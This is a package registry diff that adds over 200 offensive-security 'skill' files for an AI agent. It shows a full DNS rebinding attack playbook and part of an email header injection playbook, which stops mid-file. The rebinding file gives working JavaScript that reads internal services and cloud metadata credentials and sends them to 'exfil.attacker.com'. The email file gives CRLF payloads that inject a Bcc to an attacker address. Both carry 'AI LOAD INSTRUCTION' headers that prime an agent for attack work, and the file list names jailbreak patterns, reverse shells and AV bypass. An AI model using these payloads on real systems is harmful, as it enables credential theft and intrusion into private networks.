ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,337 @@
1
+ ---
2
+ name: dns-rebinding-attacks
3
+ description: >-
4
+ DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.gated: true
5
+ ---
6
+
7
+ # SKILL: DNS Rebinding — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart
14
+ - [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead
15
+
16
+ ---
17
+
18
+ ## 1. CORE PRINCIPLE
19
+
20
+ The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can:
21
+
22
+ 1. First resolution → attacker IP (serve malicious JS)
23
+ 2. Second resolution → internal IP (victim's network)
24
+ 3. Browser considers both responses same-origin (`attacker.com`)
25
+ 4. Malicious JS reads responses from internal services
26
+
27
+ ```
28
+ Victim visits attacker.com
29
+
30
+
31
+ DNS query: attacker.com → 1.2.3.4 (attacker server)
32
+ Browser loads malicious JS from 1.2.3.4
33
+
34
+
35
+ TTL expires (or forced flush)
36
+
37
+
38
+ JS triggers new request to attacker.com
39
+ DNS query: attacker.com → 192.168.1.1 (internal target)
40
+ Browser sends request to 192.168.1.1 as "attacker.com" origin
41
+
42
+
43
+ JS reads response — same-origin policy satisfied
44
+ Exfiltrates data to attacker's other endpoint
45
+ ```
46
+
47
+ **Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
48
+
49
+ ---
50
+
51
+ ## 2. TTL MANIPULATION
52
+
53
+ ### DNS server configuration
54
+
55
+ The attacker runs an authoritative DNS server for their domain that alternates responses:
56
+
57
+ | Query # | Response | TTL |
58
+ |---|---|---|
59
+ | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 |
60
+ | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 |
61
+
62
+ TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
63
+
64
+ ### Browser DNS cache reality
65
+
66
+ Browsers maintain their own DNS cache that **ignores low TTLs**:
67
+
68
+ | Browser | Internal DNS Cache | Bypass Technique |
69
+ |---|---|---|
70
+ | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains |
71
+ | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config |
72
+ | Safari | ~varies | Generally shorter cache |
73
+ | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
74
+
75
+ ### Bypass strategies
76
+
77
+ ```
78
+ 1. Multiple A records technique:
79
+ - Return BOTH attacker IP and target IP in single DNS response
80
+ - Browser tries first IP; if connection fails → falls back to second
81
+ - Block attacker IP after initial page load → forces fallback to internal IP
82
+
83
+ 2. Subdomain flooding:
84
+ - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
85
+ - Each subdomain gets fresh DNS resolution (no cache hit)
86
+
87
+ 3. Service worker flush:
88
+ - Register service worker that intercepts and delays requests
89
+ - By the time fetch executes, DNS cache has expired
90
+ ```
91
+
92
+ ---
93
+
94
+ ## 3. ATTACK VARIANTS
95
+
96
+ ### 3.1 Classic HTTP Rebinding
97
+
98
+ Target: internal web services (admin panels, REST APIs)
99
+
100
+ ```javascript
101
+ // Served from attacker.com (first DNS resolution → attacker IP)
102
+ async function exploit() {
103
+ // Wait for DNS cache to expire
104
+ await sleep(65000); // >60s for Chrome
105
+
106
+ // This request now resolves to internal IP
107
+ const resp = await fetch('http://attacker.com:8080/api/admin/users');
108
+ const data = await resp.text();
109
+
110
+ // Exfiltrate to different attacker endpoint
111
+ navigator.sendBeacon('https://exfil.attacker.com/log', data);
112
+ }
113
+ ```
114
+
115
+ ### 3.2 WebSocket Rebinding
116
+
117
+ WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
118
+
119
+ ```javascript
120
+ // After rebinding, WebSocket connects to internal service
121
+ const ws = new WebSocket('ws://attacker.com:9090/ws');
122
+ ws.onopen = () => {
123
+ ws.send('{"action":"dump_config"}');
124
+ };
125
+ ws.onmessage = (e) => {
126
+ fetch('https://exfil.attacker.com/ws-data', {
127
+ method: 'POST',
128
+ body: e.data
129
+ });
130
+ };
131
+ ```
132
+
133
+ ### 3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
134
+
135
+ Server-side applications that validate DNS at request time but reuse the connection:
136
+
137
+ ```
138
+ 1. Application receives URL: http://attacker.com/callback
139
+ 2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
140
+ 3. Server opens connection / follows redirect
141
+ 4. DNS changes: attacker.com → 169.254.169.254
142
+ 5. Connection reuse or redirect hits internal IP
143
+ ```
144
+
145
+ This is a hybrid with SSRF — the rebinding happens in the server's resolver.
146
+
147
+ ### 3.4 Multiple A Records (Fastest Variant)
148
+
149
+ ```
150
+ DNS response for attacker.com:
151
+ A 1.2.3.4 (attacker — serves JS)
152
+ A 192.168.1.1 (target — internal service)
153
+
154
+ 1. Browser connects to 1.2.3.4, loads page with JS
155
+ 2. Attacker firewall blocks further connections from victim to 1.2.3.4
156
+ 3. JS makes new request to attacker.com
157
+ 4. Browser tries 1.2.3.4 → connection refused
158
+ 5. Falls back to 192.168.1.1 → still same origin
159
+ 6. Response readable by JS
160
+ ```
161
+
162
+ ---
163
+
164
+ ## 4. HIGH-VALUE TARGETS
165
+
166
+ | Target | Port | Why |
167
+ |---|---|---|
168
+ | Cloud metadata | `169.254.169.254:80` | AWS/GCP/Azure instance credentials, tokens |
169
+ | Docker API | `172.17.0.1:2375` | Container creation, host filesystem mount → RCE |
170
+ | Kubernetes API | `10.96.0.1:443/6443` | Pod creation, secret reading |
171
+ | Internal admin panels | Various | Router config, NAS, printer, SCADA |
172
+ | IoT devices | `192.168.x.x:80/443` | Camera feeds, smart home control |
173
+ | Elasticsearch | `*:9200` | Data exfiltration, index manipulation |
174
+ | Redis | `*:6379` | Data read, config set for RCE |
175
+ | Consul/etcd | `*:8500/2379` | Service discovery, secret storage |
176
+
177
+ ### Cloud metadata specific
178
+
179
+ ```javascript
180
+ // AWS metadata via rebinding
181
+ fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
182
+ .then(r => r.text())
183
+ .then(role => {
184
+ return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
185
+ })
186
+ .then(r => r.json())
187
+ .then(creds => {
188
+ navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
189
+ });
190
+ // After rebinding, attacker.com resolves to 169.254.169.254
191
+ // Browser sends Host: attacker.com but IMDSv1 doesn't check Host header
192
+ ```
193
+
194
+ **IMDSv2 defense**: requires `X-aws-ec2-metadata-token` header from PUT request. Rebinding cannot easily set custom headers on the initial token request in `no-cors` mode.
195
+
196
+ ---
197
+
198
+ ## 5. TOOLS
199
+
200
+ | Tool | Purpose | URL |
201
+ |---|---|---|
202
+ | **Singularity** | Full DNS rebinding attack framework | github.com/nccgroup/singularity |
203
+ | **rbndr.us** | Quick rebind DNS service (IP pair in subdomain) | rbndr.us |
204
+ | **whonow** | Dynamic DNS rebinding server | github.com/taviso/whonow |
205
+ | **dnsrebinder** | Minimal Python DNS server for rebinding | Custom / various repos |
206
+
207
+ ### Singularity quick start
208
+
209
+ ```bash
210
+ # Clone and run
211
+ git clone https://github.com/nccgroup/singularity
212
+ cd singularity
213
+ go build -o singularity cmd/singularity-server/main.go
214
+
215
+ # Start with rebind from attacker IP to target IP
216
+ ./singularity -DNSRebindStrategy round-robin \
217
+ -ResponseIPAddr 1.2.3.4 \
218
+ -RebindingFn sequential \
219
+ -ResponseReboundIPAddr 192.168.1.1
220
+ ```
221
+
222
+ ### rbndr.us (zero-setup)
223
+
224
+ ```
225
+ Format: <hex-ip1>.<hex-ip2>.rbndr.us
226
+ Example: 7f000001.c0a80101.rbndr.us
227
+ → alternates between 127.0.0.1 and 192.168.1.1
228
+
229
+ Convert IP to hex:
230
+ 192.168.1.1 → c0.a8.01.01 → c0a80101
231
+ 127.0.0.1 → 7f.00.00.01 → 7f000001
232
+ ```
233
+
234
+ ---
235
+
236
+ ## 6. DNS REBINDING vs. SSRF
237
+
238
+ | Aspect | DNS Rebinding | SSRF |
239
+ |---|---|---|
240
+ | Execution context | Client-side (browser) | Server-side |
241
+ | Origin bypass | Same-origin policy | Network access controls |
242
+ | Attacker controls | DNS resolution | URL/request sent by server |
243
+ | Requires | Victim visits attacker page | Vulnerable server-side fetch |
244
+ | Internal access via | Browser on victim's network | Server's network position |
245
+ | Credential inclusion | Browser cookies auto-included | No user credentials |
246
+ | Protocol support | HTTP/WS (browser-limited) | Any protocol (gopher, file, etc.) |
247
+
248
+ **Critical difference**: DNS rebinding leverages the **victim's browser** as the pivot point, so it accesses services visible from the **victim's network**, with the **victim's cookies/credentials**.
249
+
250
+ ---
251
+
252
+ ## 7. DEFENSES AND DEFENSE BYPASS
253
+
254
+ ### Common defenses
255
+
256
+ | Defense | How it works |
257
+ |---|---|
258
+ | DNS pinning | Browser/resolver caches DNS and refuses re-resolution |
259
+ | Host header validation | Server rejects requests with unexpected Host header |
260
+ | Network segmentation | Internal services not reachable from browser network |
261
+ | Private network access (PNA) | Chrome's proposal: preflight for requests to private IPs |
262
+ | Authentication on internal services | Internal services require auth, not just network access |
263
+
264
+ ### Defense bypass techniques
265
+
266
+ ```
267
+ DNS pinning bypass:
268
+ ├── Multiple A records → connection failure forces fallback
269
+ ├── Subdomain per request → no cache hit
270
+ ├── Wait for cache expiry (Chrome: 60s)
271
+ └── Rebind via CNAME chain (harder to pin)
272
+
273
+ Host header validation bypass:
274
+ ├── Internal service may not check Host header at all
275
+ ├── Host: attacker.com accepted by default configs
276
+ ├── IP-based vhosts don't check Host
277
+ └── Wildcard vhost configurations
278
+
279
+ Private Network Access (PNA) bypass:
280
+ ├── PNA only in Chrome (as of 2024), partial enforcement
281
+ ├── WebSocket connections may not trigger preflight
282
+ ├── HTTPS → HTTP downgrade scenarios
283
+ └── Non-browser clients unaffected
284
+ ```
285
+
286
+ ---
287
+
288
+ ## 8. DECISION TREE
289
+
290
+ ```
291
+ Want to access internal services from victim's browser?
292
+
293
+ ├── Can you get victim to visit your page?
294
+ │ ├── YES → DNS rebinding is viable
295
+ │ │ │
296
+ │ │ ├── What is the target?
297
+ │ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
298
+ │ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
299
+ │ │ │ └── Cloud metadata → Metadata exfil (Section 4)
300
+ │ │ │
301
+ │ │ ├── Browser cache concern?
302
+ │ │ │ ├── Chrome → Wait 60s or use multiple subdomains
303
+ │ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
304
+ │ │ │ └── Use multiple A records technique for instant rebind
305
+ │ │ │
306
+ │ │ ├── Target checks Host header?
307
+ │ │ │ ├── YES → Rebinding alone won't work
308
+ │ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
309
+ │ │ │ └── NO → Proceed with rebinding
310
+ │ │ │
311
+ │ │ └── Need credentials?
312
+ │ │ ├── Browser auto-sends cookies → works if same-site allows
313
+ │ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
314
+ │ │
315
+ │ └── NO → DNS rebinding not applicable
316
+ │ └── Consider SSRF if server-side fetch exists
317
+
318
+ └── Is this server-side DNS validation bypass? (TOCTOU)
319
+ ├── YES → Hybrid approach (Section 3.3)
320
+ │ └── SSRF with DNS rebinding for IP validation bypass
321
+ └── NO → Review ../ssrf-server-side-request-forgery/ instead
322
+ ```
323
+
324
+ ---
325
+
326
+ ## 9. REAL-WORLD EXPLOITATION CHECKLIST
327
+
328
+ ```
329
+ □ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
330
+ □ Identify target internal services (port scan from victim context if possible)
331
+ □ Determine browser DNS cache duration for target browser
332
+ □ Choose rebinding variant (classic / multi-A / subdomain flood)
333
+ □ Test with benign internal endpoint first (e.g., / on router)
334
+ □ Verify same-origin read works after rebind
335
+ □ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
336
+ □ Document: attacker.com DNS config, JS payload, rebind timing, exfil data
337
+ ```
@@ -0,0 +1,349 @@
1
+ ---
2
+ name: email-header-injection
3
+ description: >-
4
+ Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.gated: true
5
+ ---
6
+
7
+ # SKILL: Email Header Injection — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
14
+ - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
15
+ - [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
16
+
17
+ ---
18
+
19
+ ## 1. SMTP HEADER INJECTION FUNDAMENTALS
20
+
21
+ SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
22
+
23
+ ### Injection anatomy
24
+
25
+ ```
26
+ Normal header construction:
27
+ To: user@example.com\r\n
28
+ Subject: Contact Form\r\n
29
+ From: noreply@target.com\r\n
30
+
31
+ Injected (via Subject field):
32
+ Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
33
+
34
+ Result:
35
+ Subject: Hello\r\n
36
+ Bcc: attacker@evil.com\r\n
37
+ ```
38
+
39
+ ### Encoding variants to try
40
+
41
+ | Encoding | Payload |
42
+ |---|---|
43
+ | URL-encoded | `%0d%0a` |
44
+ | Double URL-encoded | `%250d%250a` |
45
+ | Unicode | `\u000d\u000a` |
46
+ | Raw CRLF | `\r\n` (in raw request) |
47
+ | LF only | `%0a` (some SMTP servers accept LF without CR) |
48
+ | Null byte + CRLF | `%00%0d%0a` |
49
+
50
+ ---
51
+
52
+ ## 2. ATTACK SCENARIOS
53
+
54
+ ### 2.1 BCC Injection — Silent Email Exfiltration
55
+
56
+ ```
57
+ Input field: email / name / subject
58
+ Payload: victim@target.com%0d%0aBcc:attacker@evil.com
59
+
60
+ Effect: attacker receives a copy of every email sent through this form
61
+ ```
62
+
63
+ ### 2.2 CC Injection with Header Stacking
64
+
65
+ ```
66
+ Payload in "From name" field:
67
